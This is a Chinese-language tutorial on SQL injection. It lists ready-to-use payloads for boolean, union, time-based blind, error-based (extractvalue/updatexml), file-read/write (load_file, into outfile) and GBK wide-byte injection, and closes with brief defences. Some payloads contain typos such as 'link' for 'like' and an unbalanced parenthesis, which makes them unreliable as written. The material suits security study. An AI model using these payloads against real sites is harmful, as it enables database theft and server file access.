什么是SQL注入
应用程序在向后台数据库传递SQL查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。
SQL注入形成的条件
用户能控制数据的输入
原本要执行的代码,拼接了用户的输入
SQL注入的分类
注入点类型
数字型
字符型
注入点位置
GET注入
POST注入
Cookie注入
搜索型注入
HTTP头注入
页面回显
报错注入
布尔盲注
时间盲注
判断注入漏洞的依据
根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。
构造payload测试语句
提交请求
分析返回结果
符合预期结果则存在SQL注入漏洞
SQL注入漏洞挖掘方式
内联SQL注入
注入一段SQL语句后,原来的语句仍会全部执行。
内联注入常用测试语句(数字型):
测试字符串 | 变种 | 预期结果 |
---|---|---|
' | 触发错误。如果成功,数据库会返回一个错误 | |
value+0 | value-0 | 成功会返回与原请求相同的结果 |
value*1 | value/1 | 成功会返回与原请求相同的结果 |
1 or 1=1 | 1)or(1=1 | 永真条件。成功会返回表中所有的行 |
value or 1=2 | value)or(1=2 | 空条件。成功会返回与原请求相同的结果 |
1 and 1=2 | 1)and(1=2 | 永假条件。成功不返回表中任何行 |
1 or 'ab'='a'+'b' | 1)or('ab'=a+'b' | SQL Server串联’成功会返回与永真条件相同的信息 |
1 or 'ab'='a''b' | 1)or('ab'='a''b' | MySQL串联’成功会返回与永真条件相同的信息 |
1 or 'ab'='a'||'b' | 1)or('ab'='a'||'b' | Oracle串联’成功会返回与永真条件相同的信息 |
其他测试语句
数字型:
and 1=1/and 1=2
or 1=1/or 1=2
+、-、*、/、>、<、<=、>=
1 link 1/1 link 2
1 in(1,2)/1 in(2,3)
字符型:
and '1'='1/and '1'='2
or '1'='1/or '1'='2
+'/+'1、-'0/-'1、>、<、<=、>=
1' link '1/1' link '2
1' in('1')#/'1' in('2')#
终止式SQL注入
攻击者注入一段包含注释符的SQL语句,将原来语句的一部分注释,注释掉的部分语句不会被执行。
SQL Server和Oracle
-- 用于单行注释
/* */ 用于多行注释
MySQL
-- 或---或--+ 用于单行注释
# 用于单行注释
/* */ 用于多行注释
常见数据库注入
Access
注入猜解过程
猜解表名 and (select)
猜解列名 and (select count(列名) from 表名)>0
猜解字段值长度 and (select len(列名) from 表名 where id=6)>10
ASCII逐字解码法猜解字段值 and (select asc(mid(列名,2,1)) from 表名 where id=6)>96
表名和列名只能猜解,需要强大的字典,一般使用工具完成该过程
MySQL
获取元数据
MySQL5.0及以上版本提供了information_schema库,通过它可以访问数据库元数据。
select schema_name from information_schema.schemata limit1
select table_name from information_schema.tables where table_schema=database() limit 1
select column_name from information_schema.columns where table_schema=database() limit 1
union查询
union
联合的意思,即把多次查询的结果合并起来
自动去除重复的行,若不想去除,可使用union all
必备条件
所有查询中必须具有相同的结构
对应列的数据类型可以不同但必须兼容
如果为XML数据类型则必须等价
用法举例
select id,name,passwd from users union select 1,2,3;
延迟注入
延迟注入通过页面返回的时间来判断,不同的MySQL版本延迟注入的语法也不同。
MySQL>=5.0的可以使用sleep()进行查询
MySQL<5.0的可以使用benchmark()进行查询
benchmark()的用法
benchmark(查询次数, SQL语句)
select benchmark(1000, select * from users);
sleep()的用法
id=1 and sleep(5) 判断是否存在延迟注入
and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户是否是root用户
and if(mid(version(),1,1) like 5,sleep(5),1) 判断MySQL版本是否为5版本
and if(ascii(substring(database(),1,4))>100,sleep(5),1) 猜解数据库名
sqlmap --time-sec 延时注入
Base64编码注入
解码
构造语句
编码
$id = base64_decode($id)
二阶注入
SQL注入一般可分为一阶注入(普通注入)和二阶注入。
一阶注入发生在一个HTTP请求和响应中,系统对攻击输入立刻反应执行,过程归纳如下:
攻击者在HTTP请求中提交恶意SQL语句
应用处理恶意输入,使用恶意输入动态构造SQL语句
如果攻击实现,在响应中向攻击者返回结构
二阶注入,恶意代码注入到web应用中不会立刻执行,而是存储到后端数据库中,在处理请求时,应用检索到数据库中的恶意代码并利用它动态构造SQL语句,实现攻击。过程归纳如下:
攻击者在HTTP请求中提交恶意代码
将恶意代码存入数据库中
攻击者提交第二个HTTP请求
为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意代码,动态构造SQL语句
若攻击实现,在第二个请求的响应中向攻击者返回结构
文件读写
load_file()函数读文件操作
必备条件:
文件必须在服务器上
知道站点物理路径
MySQL用户对文件有读写权限
load_file()函数操作文件的当前目录是@@datadir(即数据库存储路径)
文件大小必须小于max_allowed_packet,@@max_allowed_packet的默认大小是16M,最大为1G
SQL语句如下:
union select 1,load_file('文件路径'),3,4#
union select 1,load_file(HEX格式),3,4#
union select 1,load_file(char(ASCII码)),3,4#
连接字符串
concat():连接一个或多个字符串
格式:concat(str1,str2,...)
举例:select concat(user(),0x2c,database());
concat_ws():第一个参数是其他参数的分隔符
格式:concat_ws(separator,str1,str2,...)
举例:select concat_ws(0x2c,user(),database());
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
举例:select id,group_concat(name) from users;
解释:把name字段的值打印在一行
into outfile 写文件操作
必备条件
magic_quotes_gpc()=OFF
用户有写文件的权限
into outfile不可以覆盖已存在的文件
into outfile必须是最后一个查询
知道站点物理路径
SQL语句如下:
select '内容' into outfile '路径'
select char(ASCII码) into outfile '路径'
报错注入
通过extractvalue()函数报错
利用代码:
id=1 and extractvalue(1, concat(0x7e,database()));
注意事项:
extractvalue()函数有两个参数,第一个参数设为1,第二个参数就是需要爆的数据
通过updatexml()函数报错
利用代码:
id=1 and updatexml(1,concat(0x7e,(user()),1)
注意事项:
updatexml()函数有三个参数,第一个和第三个参数直接写1即可,第二个参数就是需要爆的数据
宽字节注入
宽字节
GB2312、GBK、BIG5、GB18030、Shift_JIS等这些都是常说的宽字节
宽字节实际上是两个字节
宽字节带来的安全问题只有是吃ASCII字符(一字节)的现象
原理
%df'被PHP转义(开启GPC、用addslashes函数等),单引号被加上反斜杠\,变成了%df',其中\的十六进制是%5C,导致%df'变成了%df%5c%27,MySQL会认为它是一个宽字节,有了单引号就可以注入了
利用条件
只有GBK编码才会生效
SQL注入的防范
编码阶段:安全编码规范(输入验证、遵循安全SQL编码规范)
测试阶段:代码审计、SQL注入测试等,可手工也可以结合自动工具
部署阶段:数据库安全加固、WEB应用防火墙、IDS/IPS
安全编码
输入验证
数字型的输入必须是合法的数字;
字符型的输入中对 ' 进行特殊处理;
验证所有的输入点。包括GET,POST,Cookie以及其他HTTP头;
使用符合规范的数据库访问语句
正确使用静态查询语句
SQL注入漏洞常见过滤方法
以PHP为例
intval、addslashes、mysql_real_escape
mysqli_escape_string、mysqli_real_escape_string、mysqli::escape_string
PDO::quote
参数化查询